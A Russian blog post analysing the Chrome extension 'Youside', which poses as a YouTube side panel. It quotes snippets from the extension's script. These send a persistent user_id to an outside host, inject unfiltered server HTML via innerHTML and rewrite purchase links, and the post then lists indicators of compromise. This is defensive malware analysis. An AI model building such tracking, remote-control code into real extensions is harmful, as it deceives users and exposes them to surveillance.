В Chrome Web Store обнаружено вредоносное плагин под видом YouTube-панели

2 мин
В Chrome Web Store обнаружено вредоносное плагин под видом YouTube-панели

Поставил плагин Youside — боковая панель YouTube (Chrome ID: mmecpiobcdbjkaijljohghhpfgngpjmk). Описание — стандартное: встроенный плеер, подписки, быстрый доступ. На практике — код не про YouTube.

Разбор userpage.js.

Веб слой: внешний control-plane

await fetch("https://mines.cloudapi.stream/user\_info", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ user_id: localStorage.getItem("user_id"), type: "game_new" })
});

Что важно:

  • жёстко задан внешний api (cloudapi.stream)

  • используется user_id из localStorage (персистентный идентификатор)

  • параметр type=game_new не связан с YouTube

Ответ сервера (result) полностью определяет поведение пользовательский оболочку.

Серверная схема управления

Используемые поля:

  • success

  • is_valid

  • rating

  • protxt

Дальше клиент просто применяет это к DOM.

Гейтинг интерфейса

if (result.is_valid) { proplansID.classList.add('h_'); playBtn.classList.remove('h_');
} else { playBtn.classList.add('h_');
}

Практически feature-флаги приходят с сервера.

Инъекция HTML

if (result.protxt) { proplansID.innerHTML = result.protxt;
}
  • прямой innerHTML

  • без фильтрации

  • хост может вернуть любой контент

Монетизация через подмену ссылок

document.querySelectorAll('.buyBtn').forEach(btn => { btn.setAttribute( 'href', `https://topup.cloudapi.stream/?user\_id=${encodeURIComponent(localStorage.getItem("user\_id"))}&type=game` );
});
  • все .buyBtn переписываются

  • внешний домен

  • user_id передаётся в query

В описании расширения про это ничего нет.

Сбор идентификаторов

const langCode = (navigator.language || navigator.userLanguage).split('-')[0];
const extensionId = chrome.runtime.id;

Используется:

Комбинация достаточна для стабильного трекинга.

Поведение Play

playBtn.addEventListener("click", () => { window.location = "https://youtube.com/";
});
  • никакого плеера

  • никакого embed

  • просто редирект

Чего нет в коде

При заявленных функциях отсутствует:

  • YouTube IFrame api

  • любые запросы к youtube.com

  • логика подписок / поиска

  • работа с видеопотоком

Архитектура по факту

  1. Генерируется/читается user_id

  2. Клиент ходит в внешний программный оболочку

  3. Получает конфигурацию

  4. Сервер управляет ui

  5. Внедряются ссылки монетизации

Это не YouTube-клиент, а thin-client для стороннего backend.

IOC

Extension ID:

  • mmecpiobcdbjkaijljohghhpfgngpjmk

Domains:

Hashes:

  • SHA256: 3de1a05b26284c0e3dcc81e2e4b9ba4e99e1ce1245a9c57718b28ce111c9dfd9

  • MD5: 8ac5dcbd91b84f083feb813021d9223d

Результат

Исходник показывает:

  • привязку пользователя к внешнему сервису через user_id

  • удалённое управление интерфейсом

  • добавление HTML с сервера

  • скрытую подмену ссылок

Одновременно отсутствует заявленный YouTube-функционал.
По совокупности это выглядит как вредоносное/нежелательное расширение, замаскированное под утилиту для работы с YouTube.

Читают сейчас

В США предъявили обвинения россиянину в заражении компьютеров более 80 тысяч фрилансеров вредоносным ПО

2 часа назад

В США предъявили обвинения россиянину в заражении компьютеров более 80 тысяч фрилансеров вредоносным ПО

Коллегия присяжных в штате Калифорния предъявила обвинения 40-летнему гражданину России Серажудину Актулаеву за участие в фишинговой кампании, в результате которой компьютеры 80 тыс. фрилансеров были

3 часа назад

Лиды по осени считают: 6 мероприятий для продуктивного сентября

Осенью прогноз простой: где-то обязательно польет. С рекламным рынком сложнее. Где подорожает лид? Какой канал упрется в потолок? Сработает ли UGC? Что уже можно поручить ИИ? И какие изменения в закон

Организация Postgres Professional первой среди коммерческих форков закрыла критические уязвимости PostgreSQL

3 часа назад

Организация Postgres Professional первой среди коммерческих форков закрыла критические уязвимости PostgreSQL

Postgres Professional выпустила «нулевые» релизы корпоративных редакций СУБД Postgres Pro с исправлениями актуальных уязвимостей PostgreSQL. Компания первой и пока единственной среди коммерческих форк

Дайджест GetAClass: август 2026

3 часа назад

Дайджест GetAClass: август 2026

Поздравляем всех с началом нового учебного года! Каникулы закончились – значит, пора подвести итоги последнего летнего месяца. Читать далее

НАСА выбрало компанию Blue Origin в качестве поставщика телекоммуникационной сети для Марса

4 часа назад

НАСА выбрало компанию Blue Origin в качестве поставщика телекоммуникационной сети для Марса

Американское космическое агентство заключило с Blue Origin контракт на разработку Mars Telecommunications Network — системы обеспечения высокоскоростной связи и навигации для текущих и будущих миссий